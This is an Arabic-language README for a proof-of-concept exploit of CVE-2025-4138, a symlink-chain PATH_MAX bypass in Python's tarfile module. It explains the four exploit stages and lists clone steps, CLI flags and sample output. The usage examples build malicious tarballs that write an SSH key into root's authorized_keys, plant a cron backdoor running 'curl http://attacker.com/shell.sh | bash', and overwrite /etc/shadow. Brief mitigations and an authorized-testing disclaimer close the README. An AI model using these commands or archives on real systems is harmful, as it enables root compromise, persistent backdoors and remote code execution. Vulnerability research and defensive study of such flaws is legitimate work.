
Python PoC لـ CVE-2025-4138، ثغرة اجتياز مسار في وحدة tarfile في Python تستغل سلاسل الروابط الرمزية لتجاوز PATH_MAX لكتابة ملفات عشوائية.
PATH_MAX في وحدة tarfile بلغة Python (PoC)المؤلف: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
استغلال إثبات المفهوم لـ CVE-2025-4138، ثغرة اجتياز المسار في وحدة tarfile في بايثون. تسمح الثغرة للمهاجم بصنع أرشيف tar ضار يكتب ملفات إلى مواقع عشوائية خارج مجلد الاستخراج المقصود من خلال إساءة استخدام سلاسل الروابط الرمزية لتجاوز .
PATH_MAX| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2025-4138 |
| المكون | وحدة tarfile في بايثون |
| النوع | اجتياز المسار (CWE-22) |
| المتجه | سلسلة روابط رمزية + تجاوز PATH_MAX |
| التأثير | كتابة ملف عشوائي خارج مجلد الاستخراج |
يعمل الاستغلال في أربع مراحل:
تضخيم المسار -- يتم بناء سلسلة من المجلدات والروابط الرمزية المتداخلة بعمق بحيث يتجاوز المسار المحلول بالكامل حد PATH_MAX للنواة (4096 بايت في لينكس).
الرابط المحوري -- يتم إضافة رابط رمزي يتجاوز مساره المحلول حد PATH_MAX. بسبب طول المسار، تفشل فحوصات الأمان في وحدة tarfile (التي تعتمد على os.path.realpath()) بصمت وتتخطى التحقق.
رابط الهروب -- يستخدم رابط رمزي ثانٍ ../ للاجتياز عبر الرابط المحوري للهروب من مجلد الاستخراج بالكامل والإشارة إلى مسار مطلق يتحكم به المهاجم على نظام الملفات.
إسقاط الحمولة -- يتم كتابة ملف عادي عبر رابط الهروب، ليستقر في المسار المستهدف بمحتويات وصلاحيات يتحكم بها المهاجم.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
لا توجد تبعيات خارجية مطلوبة — يستخدم الاستغلال وحدات مكتبة بايثون 3 القياسية فقط.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| العلم | الوصف |
|---|---|
-o, --output | مسار ملف tarball الناتج (افتراضي: exploit.tar) |
-t, --target | المسار المطلق للملف المراد كتابته على الهدف (افتراضي: /root/.ssh/authorized_keys) |
-p, --payload | مسار ملف تصبح محتوياته هي الحمولة |
-s, --payload-string | استخدام سلسلة نصية حرفية كحمولة |
-k, --ssh-key | مسار ملف مفتاح SSH عام |
-m, --mode | وضع صلاحية الملف بالأوكتال (افتراضي: 0600) |
-d, --depth | عمق اجتياز المجلدات (افتراضي: 8) |
-v, --verify | إظهار محتويات tarball بعد الإنشاء |
-q, --quiet | إخفاء الشعار |
كتابة مفتاح SSH عام إلى authorized_keys للمستخدم root:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
كتابة مهمة cron للاستمرارية:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
كتابة محتويات ملف عشوائي من ملف محلي:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (بايثون 3.12+) الذي يوفر ضوابط استخراج أكثر صرامة.--strip-components أو تحقق من محتويات الأرشيف قبل الاستخراج.fs.protected_symlinks).هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. الوصول غير المصرح به لأنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. احصل دائمًا على إذن كتابي مناسب قبل الاختبار على أنظمة لا تملكها.
هذا المشروع مرخص بموجب رخصة MIT.
d3vn0mi | GitHub